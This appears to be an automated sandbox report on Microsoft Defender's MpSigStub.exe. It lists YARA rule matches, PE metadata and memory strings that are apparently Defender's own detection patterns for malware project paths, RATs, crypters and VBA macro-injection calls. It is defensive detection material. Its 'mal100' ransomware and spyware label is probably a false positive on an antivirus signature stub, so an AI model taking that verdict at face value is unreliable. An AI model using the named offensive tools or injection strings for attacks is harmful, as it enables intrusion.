        Source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTRMatched rule: Suspicious_PowerShell_WebDownload_1 date = 2017-02-22, author = Florian Roth, description = Detects suspicious PowerShell code that downloads from web sites, type = file, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = Internal Research
        Source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTRMatched rule: ZxShell_Jul17 date = 2017-07-08, hash1 = 5d2a4cde9fa7c2fdbf39b2e2ffd23378d0c50701a3095d1e91e3cf922d7b0b16, author = Florian Roth, description = Detects a ZxShell - CN threat group, reference = https://blogs.rsa.com/cat-phishing/, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
        Source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTRMatched rule: DeepPanda_htran_exe date = 2015/02/08, author = Florian Roth, description = Hack Deep Panda - htran-exe, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, hash = 38e21f0b87b3052b536408fdf59185f8b3d210b9
        Source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTRMatched rule: WindowsCredentialEditor threat_level = , description = Windows Credential Editor
        Source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTRMatched rule: Amplia_Security_Tool description = Amplia Security Tool, score =
        Source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTRMatched rule: HackTool_Samples description = Hacktool, score =
        Source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTRMatched rule: Ammyy_Admin_AA_v3 date = 2014/12/22, hash2 = 07539abb2623fe24b9a05e240f675fa2d15268cb, author = Florian Roth, description = Remote Admin Tool used by APT group Anunak (ru) - file AA_v3.4.exe and AA_v3.5.exe, reference = http://goo.gl/gkAg2E, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = b130611c92788337c4f6bb9e9454ff06eb409166
        Source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTRMatched rule: RemCom_RemoteCommandExecution date = 2017-12-28, author = Florian Roth, description = Detects strings from RemCom tool, reference = https://goo.gl/tezXZt, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
        Source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTRMatched rule: SUSP_Script_Obfuscation_Char_Concat date = 2018-10-04, hash1 = b30cc10e915a23c7273f0838297e0d2c9f4fc0ac1f56100eef6479c9d036c12b, author = Florian Roth, description = Detects strings found in sample from CN group repo leak in October 2018, reference = https://twitter.com/JaromirHorejsi/status/1047084277920411648
        Source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTRMatched rule: SUSP_PowerShell_IEX_Download_Combo date = 2018-10-04, hash1 = 13297f64a5f4dd9b08922c18ab100d3a3e6fdeab82f60a4653ab975b8ce393d5, author = Florian Roth, description = Detects strings found in sample from CN group repo leak in October 2018, reference = https://twitter.com/JaromirHorejsi/status/1047084277920411648
        Source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTRMatched rule: Unidentified_Malware_Two date = 2017-02-10, author = US CERT, description = Unidentified Implant by APT29, reference = https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE, score =
        Source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTRMatched rule: APT_MAL_Sandworm_Exaramel_Configuration_Key author = FR/ANSSI/SDO, description = Detects the encryption key for the configuration file used by Exaramel malware as seen in sample e1ff72[...
        Source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTRMatched rule: Cobaltbaltstrike_Payload_Encoded author = Avast Threat Intel Team, description = Detects CobaltStrike payloads, reference = https://github.com/avast/ioc
        Source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTRMatched rule: Pupy_Backdoor date = 2017-08-11, hash5 = 06bb41c12644ca1761bcb3c14767180b673cb9d9116b555680073509e7063c3e, hash4 = 20e19817f72e72f87c794843d46c55f2b8fd091582bceca0460c9f0640c7bbd8, hash3 = 90757c1ae9597bea39bb52a38fb3d497358a2499c92c7636d71b95ec973186cc, hash2 = 83380f351214c3bd2c8e62430f70f8f90d11c831695027f329af04806b9f8ea4, hash1 = ae93714203c7ab4ab73f2ad8364819d16644c7649ea04f483b46924bd5bc0153, author = Florian Roth, description = Detects Pupy backdoor, hash7 = 8784c317e6977b4c201393913e76fc11ec34ea657de24e957d130ce9006caa01, hash6 = be83c513b24468558dc7df7f63d979af41287e568808ed8f807706f6992bfab2, reference = https://github.com/n1nj4sec/pupy-binaries, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
        Source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTRMatched rule: TA17_293A_malware_1 date = 2017/07/17, hash5 = 038A97B4E2F37F34B255F0643E49FC9D, hash4 = 04738CA02F59A5CD394998A99FCD9613, hash3 = 8943E71A8C73B5E343AA9D2E19002373, hash2 = BA756DD64C1147515BA2298B6A760260, hash1 = A07AA521E7CAFB360294E56969EDA5D6, hash0 = 61C909D2F625223DB2FB858BBDF42A76, author = US-CERT Code Analysis Team (modified by Florian Roth), description = inveigh pen testing tools & related artifacts, hash10 = 4595DBE00A538DF127E0079294C87DA0, hash9 = 722154A36F32BA10E98020A8AD758A7A, hash8 = 5DBEF7BDDAF50624E840CCBCE2816594, hash7 = AA905A3508D9309A93AD5C0EC26EBC9B, hash6 = 65A1A73253F04354886F375B59550B46, reference = https://www.us-cert.gov/ncas/alerts/TA17-293A
        Source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTRMatched rule: PS_AMSI_Bypass date = 2017-07-19, author = Florian Roth, description = Detects PowerShell AMSI Bypass, reference = https://gist.github.com/mattifestation/46d6a2ebb4a1f4f0e7229503dc012ef1, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = file
        Source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTRMatched rule: Mimikatz_Memory_Rule_1 date = 12/22/2014, author = Florian Roth, description = Detects password dumper mimikatz in memory (False Positives: an service that could have copied a Mimikatz executable, AV signatures), license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = memory
        Source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTRMatched rule: HackTool_MSIL_SharPersist_2 author = FireEye, reference = https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html, md5 = 98ecf58d48a3eae43899b45cec0fc6b7
        Source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTRMatched rule: CredTheft_MSIL_ADPassHunt_2 author = FireEye, reference = https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html, md5 = 6efb58cf54d1bb45c057efcfbbd68a93
        Source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTRMatched rule: APT_Backdoor_Win_GoRat_Memory author = FireEye, description = Identifies GoRat malware in memory based on strings., reference = https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html, md5 = 3b926b5762e13ceec7ac3a61e85c93bb
        Source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTRMatched rule: ChinaChopper_Generic date = 2015/03/10, author = Florian Roth, description = China Chopper Webshells - PHP and ASPX, reference = https://www.fireeye.com/content/dam/legacy/resources/pdfs/fireeye-china-chopper-report.pdf, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
        Source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTRMatched rule: vanquish_2 author = Yara Bulk Rule Generator by Florian Roth, description = Webshells Auto-generated - file vanquish.exe, hash = 2dcb9055785a2ee01567f52b5a62b071
        Source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTRMatched rule: fe_cpe_ms17_010_ransomware date = 2017-06-27, author = ian.ahl@fireeye.com @tekdefense, nicholas.carr@mandiant.com @itsreallynick, description = probable petya ransomware using eternalblue, wmic, psexec, version = 1.1, reference = https://www.fireeye.com/blog/threat-research/2017/06/petya-ransomware-spreading-via-eternalblue-exploit.html
        Source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTRMatched rule: APT9002Strings author = Seth Hardy, description = 9002 Identifying Strings, last_modified = 2014-06-25
        Source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTRMatched rule: APT_DeputyDog_Fexel author = ThreatConnect Intelligence Research Team
        Source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTRMatched rule: MirageStrings author = Seth Hardy, description = Mirage Identifying Strings, last_modified = 2014-06-25
        Source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTRMatched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
        Source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTRMatched rule: gh0st author = https://github.com/jackcr/
        Source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTRMatched rule: gholeeV1 Description = Gholee first discovered variant , Reference = http://securityaffairs.co/wordpress/28170/cyber-crime/gholee-malware.html, Date = 2014/08, Author = @GelosSnake
        Source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTRMatched rule: MW_gholee_v1 date = 2014-08, hash0 = 48573a150562c57742230583456b4c02, sample_filetype = dll, maltype = Remote Access Trojan, description = http://securityaffairs.co/wordpress/28170/cyber-crime/gholee-malware.html, Author = @GelosSnake
        Source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTRMatched rule: NetWiredRC_B date = 2014-12-23, filetype = memory, author = Jean-Philippe Teissier / @Jipe_, description = NetWiredRC, version = 1.1
        Source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTRMatched rule: PoisonIvy_3 filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, cape_type = PoisonIvy Payload, ref = http://malwareconfig.com/stats/PoisonIvy
        Source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTRMatched rule: CVE_2018_4878_0day_ITW Description = This signature is mostly public sourced and detects an in-the-wild exploit for CVE-2018-4878., URL = https://github.com/InQuest/yara-rules, Author = InQuest Labs
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-c45e5da5.exeFile created: C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\24D82C9E-A161-4073-AC5C-CF18E1F4A1E0Jump to behavior
        Source: MpAsDesc.dll.mui18.41.drStatic PE information: Resource name: RT_VERSION type: COM executable for DOS
        Source: MpAsDesc.dll.mui9.41.drStatic PE information: No import functions for PE file found
        Source: mpuxagent.dll.mui18.41.drStatic PE information: No import functions for PE file found
        Source: mpuxagent.dll.mui9.41.drStatic PE information: No import functions for PE file found
        Source: mpasbase.vdm.35.drStatic PE information: No import functions for PE file found
        Source: MsMpLics.dll0.41.drStatic PE information: No import functions for PE file found
        Source: mpuxagent.dll.mui20.41.drStatic PE information: No import functions for PE file found
        Source: mpuxagent.dll.mui6.41.drStatic PE information: No import functions for PE file found
        Source: MpAsDesc.dll.mui14.41.drStatic PE information: No import functions for PE file found
        Source: MpEvMsg.dll.mui6.41.drStatic PE information: No import functions for PE file found
        Source: mpuxagent.dll.mui15.41.drStatic PE information: No import functions for PE file found
        Source: mpavbase.vdm.35.drStatic PE information: No import functions for PE file found
        Source: ProtectionManagement.dll.mui0.41.drStatic PE information: No import functions for PE file found
        Source: mpuxagent.dll.mui35.41.drStatic PE information: No import functions for PE file found
        Source: MpAsDesc.dll0.41.drStatic PE information: No import functions for PE file found
        Source: mpuxagent.dll.mui23.41.drStatic PE information: No import functions for PE file found
        Source: MpAsDesc.dll.mui11.41.drStatic PE information: No import functions for PE file found
        Source: MpAsDesc.dll.mui1.41.drStatic PE information: No import functions for PE file found
        Source: ProtectionManagement.dll.mui3.41.drStatic PE information: No import functions for PE file found
        Source: mpuxagent.dll.mui26.41.drStatic PE information: No import functions for PE file found
        Source: MpEvMsg.dll.mui3.41.drStatic PE information: No import functions for PE file found
        Source: MpAsDesc.dll.mui0.41.drStatic PE information: No import functions for PE file found
        Source: mpuxagent.dll.mui3.41.drStatic PE information: No import functions for PE file found
        Source: MpAsDesc.dll.mui7.41.drStatic PE information: No import functions for PE file found
        Source: mpuxagent.dll.mui12.41.drStatic PE information: No import functions for PE file found
        Source: mpuxagent.dll.mui.41.drStatic PE information: No import functions for PE file found
        Source: mpuxagent.dll.mui30.41.drStatic PE information: No import functions for PE file found
        Source: ProtectionManagement.dll.mui.41.drStatic PE information: No import functions for PE file found
        Source: MpEvMsg.dll.mui4.41.drStatic PE information: No import functions for PE file found
        Source: mpuxagent.dll.mui25.41.drStatic PE information: No import functions for PE file found
        Source: mpuxagent.dll.mui19.41.drStatic PE information: No import functions for PE file found
        Source: mpuxagent.dll.mui4.41.drStatic PE information: No import functions for PE file found
        Source: mpavdlta.vdm.34.drStatic PE information: No import functions for PE file found
        Source: MpAsDesc.dll.mui6.41.drStatic PE information: No import functions for PE file found
        Source: MpEvMsg.dll.41.drStatic PE information: No import functions for PE file found
        Source: mpuxagent.dll.mui13.41.drStatic PE information: No import functions for PE file found
        Source: MpAsDesc.dll.mui13.41.drStatic PE information: No import functions for PE file found
        Source: MpEvMsg.dll.mui5.41.drStatic PE information: No import functions for PE file found
        Source: mpuxagent.dll.mui11.41.drStatic PE information: No import functions for PE file found
        Source: MpAsDesc.dll.mui2.41.drStatic PE information: No import functions for PE file found
        Source: mpuxagent.dll.mui21.41.drStatic PE information: No import functions for PE file found
        Source: mpuxagent.dll.mui5.41.drStatic PE information: No import functions for PE file found
        Source: MpAsDesc.dll.mui15.41.drStatic PE information: No import functions for PE file found
        Source: mpuxagent.dll.mui31.41.drStatic PE information: No import functions for PE file found
        Source: mpuxagent.dll.mui34.41.drStatic PE information: No import functions for PE file found
        Source: MpAsDesc.dll.41.drStatic PE information: No import functions for PE file found
        Source: MpEvMsg.dll.mui8.41.drStatic PE information: No import functions for PE file found
        Source: mpuxagent.dll.mui14.41.drStatic PE information: No import functions for PE file found
        Source: MpEvMsg.dll.mui2.41.drStatic PE information: No import functions for PE file found
        Source: mpuxagent.dll.mui24.41.drStatic PE information: No import functions for PE file found
        Source: MpAsDesc.dll.mui5.41.drStatic PE information: No import functions for PE file found
        Source: MpAsDesc.dll.mui12.41.drStatic PE information: No import functions for PE file found
        Source: mpuxagent.dll.mui17.41.drStatic PE information: No import functions for PE file found
        Source: mpuxagent.dll.mui27.41.drStatic PE information: No import functions for PE file found
        Source: mpuxagent.dll.mui8.41.drStatic PE information: No import functions for PE file found
        Source: mpuxagent.dll.mui29.41.drStatic PE information: No import functions for PE file found
        Source: MpAsDesc.dll.mui8.41.drStatic PE information: No import functions for PE file found
        Source: mpuxagent.dll.mui2.41.drStatic PE information: No import functions for PE file found
        Source: MpAsDesc.dll.mui18.41.drStatic PE information: No import functions for PE file found
        Source: MpAsDesc.dll.mui.41.drStatic PE information: No import functions for PE file found
        Source: mpuxagent.dll.mui7.41.drStatic PE information: No import functions for PE file found
        Source: mpuxagent.dll.mui16.41.drStatic PE information: No import functions for PE file found
        Source: MpAsDesc.dll.mui4.41.drStatic PE information: No import functions for PE file found
        Source: ProtectionManagement.dll.mui1.41.drStatic PE information: No import functions for PE file found
        Source: mpuxagent.dll.mui0.41.drStatic PE information: No import functions for PE file found
        Source: MpEvMsg.dll.mui7.41.drStatic PE information: No import functions for PE file found
        Source: MpEvMsg.dll.mui0.41.drStatic PE information: No import functions for PE file found
        Source: mpuxagent.dll.mui22.41.drStatic PE information: No import functions for PE file found
        Source: mpuxagent.dll.mui32.41.drStatic PE information: No import functions for PE file found
        Source: mpasdlta.vdm.34.drStatic PE information: No import functions for PE file found
        Source: MpAsDesc.dll.mui17.41.drStatic PE information: No import functions for PE file found
        Source: MpAsDesc.dll.mui3.41.drStatic PE information: No import functions for PE file found
        Source: ProtectionManagement.dll.mui2.41.drStatic PE information: No import functions for PE file found
        Source: mpuxagent.dll.mui1.41.drStatic PE information: No import functions for PE file found
        Source: mpuxagent.dll.mui10.41.drStatic PE information: No import functions for PE file found
        Source: MsMpLics.dll.41.drStatic PE information: No import functions for PE file found
        Source: MpEvMsg.dll.mui.41.drStatic PE information: No import functions for PE file found
        Source: MpAsDesc.dll.mui10.41.drStatic PE information: No import functions for PE file found
        Source: mpuxagent.dll.mui33.41.drStatic PE information: No import functions for PE file found
        Source: MpEvMsg.dll.mui1.41.drStatic PE information: No import functions for PE file found
        Source: mpuxagent.dll.mui28.41.drStatic PE information: No import functions for PE file found
        Source: MpAsDesc.dll.mui16.41.drStatic PE information: No import functions for PE file found
        Source: C:\Windows\System32\wevtutil.exeProcess token adjusted: Security
        Source: mpasdlta.vdm.34.drStatic PE information: Section: .rsrc ZLIB complexity 0.998730014535
        Source: mpavdlta.vdm.34.drStatic PE information: Section: .rsrc ZLIB complexity 0.997841282895
        Source: classification engineClassification label: mal100.rans.spre.troj.adwa.spyw.expl.evad.mine.winEXE@18/238@3/3
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeCode function: 42_2_00007FF650D01AE0 FindResourceW,GetLastError,LoadResource,GetLastError,LockResource,GetLastError,SizeofResource,GetLastError,
        Source: MpSigStub.exe, 00000023.00000003.18427196191.0000015B1AB46000.00000004.00000001.sdmpBinary or memory string: ,AD:\baixa\Project1.vbp
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpBinary or memory string: -(.+\\.+Cal.*smalar\\FlooDer\\FLooDeR.vbp
        Source: MpSigStub.exe, 00000023.00000003.18293334552.0000015B1BC8E000.00000004.00000001.sdmpBinary or memory string: /*.+:\\.+\\fuckADX\\.+\\ADs.*\\Project1.vbp
        Source: MpSigStub.exe, 00000023.00000003.18320598062.0000015B1B598000.00000004.00000001.sdmpBinary or memory string: dTP*\AD:\Master\ADWARA_NEW\idle_componet.vbpd
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpBinary or memory string: *\AC:\Users\Admin\Desktop\other_cr\R_PE\2201\_CLC.vbp
        Source: MpSigStub.exe, 00000023.00000003.18426294063.0000015B1BD11000.00000004.00000001.sdmpBinary or memory string: "\Mom\Knamemom.vbp
        Source: MpSigStub.exe, 00000023.00000003.18431805767.0000015B1BFA6000.00000004.00000001.sdmpBinary or memory string: .+:\\Documents and Settings\\PC-[0-9]{1,3}\\Desktop\\loader fileVB\\Project1.vbp
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpBinary or memory string: 0+.+\\mywisdom\\asian_scandal.+\\ngentot.vbp
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpBinary or memory string: .+\\Hell Packer.+\\gregstubs\\HEX\\HEX\\Project1.vbp
        Source: MpSigStub.exe, 00000023.00000003.18431805767.0000015B1BFA6000.00000004.00000001.sdmpBinary or memory string: D:\\Wu Tong\\Softwares&Codes\\.*\\Locker\.vbp
        Source: MpSigStub.exe, 00000023.00000003.18425422653.0000015B1C5EB000.00000004.00000001.sdmpBinary or memory string: MyMoney.vbp
        Source: MpSigStub.exe, 00000023.00000003.18314163408.0000015B1BB45000.00000004.00000001.sdmpBinary or memory string: .+:\\aw1\\Etmscztha.vbp
        Source: MpSigStub.exe, 00000023.00000003.18433124639.0000015B1B6E2000.00000004.00000001.sdmpBinary or memory string: \pekalongan.vbp
        Source: MpSigStub.exe, 00000023.00000003.18425885690.0000015B1BCD0000.00000004.00000001.sdmpBinary or memory string: vD:\virustrojan\harpotinfeksiexe\harpotinfeksiexe\SERVER.VBP
        Source: MpSigStub.exe, 00000023.00000003.18433124639.0000015B1B6E2000.00000004.00000001.sdmpBinary or memory string: ,'Scylla Botnet.+\\Server\\Proyecto1.vbp
        Source: MpSigStub.exe, 00000023.00000003.18423368163.0000015B1C1B6000.00000004.00000001.sdmpBinary or memory string: \\Explorador-Remoto\\Servidor.vbp
        Source: MpSigStub.exe, 00000023.00000003.18430467796.0000015B1AE1C000.00000004.00000001.sdmpBinary or memory string: 1.VBProject.VBComponents(1).CodeModule.deletelines
        Source: MpSigStub.exe, 00000023.00000003.18423368163.0000015B1C1B6000.00000004.00000001.sdmpBinary or memory string: R\baixando5link\baixando5link\Project1.vbp
        Source: MpSigStub.exe, 00000023.00000003.18430797596.0000015B1AE5D000.00000004.00000001.sdmpBinary or memory string: X\D@nBtR270414\version final\DanBtR270414.vbp
        Source: MpSigStub.exe, 00000023.00000003.18425885690.0000015B1BCD0000.00000004.00000001.sdmpBinary or memory string: .+\\L1Crpt_src\\ScantimeCrypter\\stub\\Stub.vbp
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpBinary or memory string: C:\\Documents and Settings\\Administrador\\Mis documentos\\.+\\Nueva carpeta\\###################################################################################################################################.vbp
        Source: MpSigStub.exe, 00000023.00000003.18430797596.0000015B1AE5D000.00000004.00000001.sdmpBinary or memory string: 2Daum Watch\HitControl.vbp
        Source: MpSigStub.exe, 00000023.00000003.18433465792.0000015B1B723000.00000004.00000001.sdmpBinary or memory string: z1.vbp]
        Source: MpSigStub.exe, 00000023.00000003.18426595439.0000015B1BB86000.00000004.00000001.sdmpBinary or memory string: f\MurdeR\Escritorio\Desktop\cypter\stub\Project1.vbp
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpBinary or memory string: TOC:\\Documents and Settings\\astronalta\\Meus documentos\\.+\\LOAD_GEAR\\.+.vbp
        Source: MpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpBinary or memory string: 0+.+:\\.*NOVO.+\\BLINDADO\\PluginBrada.*.vbp
        Source: MpSigStub.exe, 00000023.00000003.18427196191.0000015B1AB46000.00000004.00000001.sdmpBinary or memory string: .+:\\Intel\\Obfuscated Number-[0-9]{1,3}\\Obfuscated Nr-[0-9]{1,3}\\[a-zA-Z]{5,15}.vbp
        Source: MpSigStub.exe, 00000023.00000003.18426595439.0000015B1BB86000.00000004.00000001.sdmpBinary or memory string: @\Hugo Tools\DRONES\Proyecto1.vbp
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpBinary or memory string: V\Stuffs\w32.AntiAnarchy.E@mm\Havoc.Worm.vbp
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpBinary or memory string: '".+\\Virus Maker\\s1\\Project1.vbp
        Source: MpSigStub.exe, 00000023.00000003.18325191461.0000015B1BE9F000.00000004.00000001.sdmpBinary or memory string: E:\\kaynak( Kod|~1)\\spynma(il_Merged|~1).+?\.vbp
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpBinary or memory string: /*.+\\Viruses\\Black Project\\Dark_Love.vbp
        Source: MpSigStub.exe, 00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmpBinary or memory string: 0.vbp
        Source: MpSigStub.exe, 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmpBinary or memory string: @*\AY:\zeus\downloadersource\My_Crypter_vbcrypter\vbcrypter\newStubMy\myprog.vbp
        Source: MpSigStub.exe, 00000023.00000003.18344332390.0000015B1C1B7000.00000004.00000001.sdmpBinary or memory string: Z*\AE:\Stuff\Lilith Premium\Start\Projekt1.vbp
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpBinary or memory string: &!C:\\.+\\www.microfost.com -3.vbp
        Source: MpSigStub.exe, 00000023.00000003.18325191461.0000015B1BE9F000.00000004.00000001.sdmpBinary or memory string: C:\\(DOCUME~1|Documents and Settings)\\ben(~1\.BEN)?\\Desktop\\v58\\Win(-Spy)?\\(win|wix|WS86).+?\.vbp
        Source: MpSigStub.exe, 00000023.00000003.18426595439.0000015B1BB86000.00000004.00000001.sdmpBinary or memory string: 4/:\\.+\\mStubmmmm\\Backup-.+\\Backup-.+\\.+.vbp
        Source: MpSigStub.exe, 00000023.00000003.18349339011.0000015B1A999000.00000004.00000001.sdmpBinary or memory string: .VBProjects
        Source: MpSigStub.exe, 00000023.00000003.18426889733.0000015B1BBC7000.00000004.00000001.sdmpBinary or memory string: phapoeskeezm.vbp
        Source: MpSigStub.exe, 00000023.00000003.18324547737.0000015B1B0B1000.00000004.00000001.sdmpBinary or memory string: *\AD:\Lap Trinh\Virus Mau\Pro 3\Pro3.vbp
        Source: MpSigStub.exe, 00000023.00000003.18293334552.0000015B1BC8E000.00000004.00000001.sdmpBinary or memory string: .+:\\.*\\MicroApp.*\\MicroProCon\\MicrostCon.vbp
        Source: MpSigStub.exe, 00000023.00000003.18325191461.0000015B1BE9F000.00000004.00000001.sdmpBinary or memory string: 72E:\\kaynak( Kod|~1)\\spynma(il_Merged|~1).+?\.vbp
        Source: MpSigStub.exe, 00000023.00000003.18428517155.0000015B1C06B000.00000004.00000001.sdmpBinary or memory string: @\Polifemo Ebrio Crypter\Stub.vbp
        Source: MpSigStub.exe, 00000023.00000003.18425885690.0000015B1BCD0000.00000004.00000001.sdmpBinary or memory string: D:\\.{15}\\WEBPNT\\WebpNt\.vBp
        Source: MpSigStub.exe, 00000023.00000003.18426294063.0000015B1BD11000.00000004.00000001.sdmpBinary or memory string: 4Bomba logica\Proyecto1.vbp
        Source: MpSigStub.exe, 00000023.00000003.18423819335.0000015B1B1FA000.00000004.00000001.sdmpBinary or memory string: .+:\\.+Hack\\.+\\inject\\Project1.vbp
        Source: MpSigStub.exe, 00000023.00000003.18433793263.0000015B1AEE2000.00000004.00000001.sdmpBinary or memory string: JEC:\\Documents and Settings\\VAIO\\Desktop\\2012\\Codec\\Graphics.vbp
        Source: MpSigStub.exe, 00000023.00000003.18423819335.0000015B1B1FA000.00000004.00000001.sdmpBinary or memory string: OJ.+:\\Documents and Settings\\Administrador\\Desktop\\LOAD.+\\Project1.vbp
        Source: MpSigStub.exe, 00000023.00000003.18433465792.0000015B1B723000.00000004.00000001.sdmpBinary or memory string: C:\\Users\\.*\\Desktop\\.*\\Lite-Stub\\Obfuscated .*\\.*.vbp
        Source: MpSigStub.exe, 00000023.00000003.18330938423.0000015B1AA81000.00000004.00000001.sdmpBinary or memory string: \RenoNevada\MainMango\Server.vbp
        Source: MpSigStub.exe, 00000023.00000003.18426595439.0000015B1BB86000.00000004.00000001.sdmpBinary or memory string: \IELOCK.VBP
        Source: MpSigStub.exe, 00000023.00000003.18432805737.0000015B1BA3B000.00000004.00000001.sdmpBinary or memory string: MSVBVM60.DLLd \DBSpy\DBSpy.vbp
        Source: MpSigStub.exe, 00000023.00000003.18432805737.0000015B1BA3B000.00000004.00000001.sdmpBinary or memory string: \CEF\VBBHO.vbp
        Source: MpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpBinary or memory string: .+:\\.*NOVO.+\\BLINDADO\\PluginBrada.*.vbp
        Source: MpSigStub.exe, 00000023.00000003.18432805737.0000015B1BA3B000.00000004.00000001.sdmpBinary or memory string: .+:\\clean ppi\\temp\\.+\\DownloadBinary.vbp
        Source: MpSigStub.exe, 00000023.00000003.18428517155.0000015B1C06B000.00000004.00000001.sdmpBinary or memory string: GB.+:\\.+\\NovissimoVBLoaderFILE.*\\NovissimoVBLoader\\Prg_Flex.vbp
        Source: MpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpBinary or memory string: .VBProject.VBComponents("ThisDocument").CodeModule.AddFromString]
        Source: MpSigStub.exe, 00000023.00000003.18428517155.0000015B1C06B000.00000004.00000001.sdmpBinary or memory string: '".+:\\Obfuscated.*\\unapubvelr.vbp
        Source: MpSigStub.exe, 00000023.00000003.18430797596.0000015B1AE5D000.00000004.00000001.sdmpBinary or memory string: C:\Documents and Settings\Administrator\My Documents\winrar\server\Project1.vbp
        Source: MpSigStub.exe, 00000023.00000003.18430797596.0000015B1AE5D000.00000004.00000001.sdmpBinary or memory string: (\server\Project1.vbp
        Source: MpSigStub.exe, 00000023.00000003.18293334552.0000015B1BC8E000.00000004.00000001.sdmpBinary or memory string: \MicroProCon\FileConfig.vbp
        Source: MpSigStub.exe, 00000023.00000003.18293334552.0000015B1BC8E000.00000004.00000001.sdmpBinary or memory string: 61.+:\\.*\\MicroApp.*\\MicroProCon\\MicrostCon.vbp
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpBinary or memory string: C:\\Documents and Settings\\astronalta\\Meus documentos\\.+\\LOAD_GEAR\\.+.vbp
        Source: MpSigStub.exe, 00000023.00000003.18298772777.0000015B1A8DA000.00000004.00000001.sdmpBinary or memory string: C:\NuAT.vbp]
        Source: MpSigStub.exe, 00000023.00000003.18426595439.0000015B1BB86000.00000004.00000001.sdmpBinary or memory string: :\\.+\\Bkoli Hazm\\Lostdoor.+\\Client.+\\Helminth_Project.vbp
        Source: MpSigStub.exe, 00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmpBinary or memory string: PAJ:\MASTER\bb_soft\bb_promo\Project1.vbp
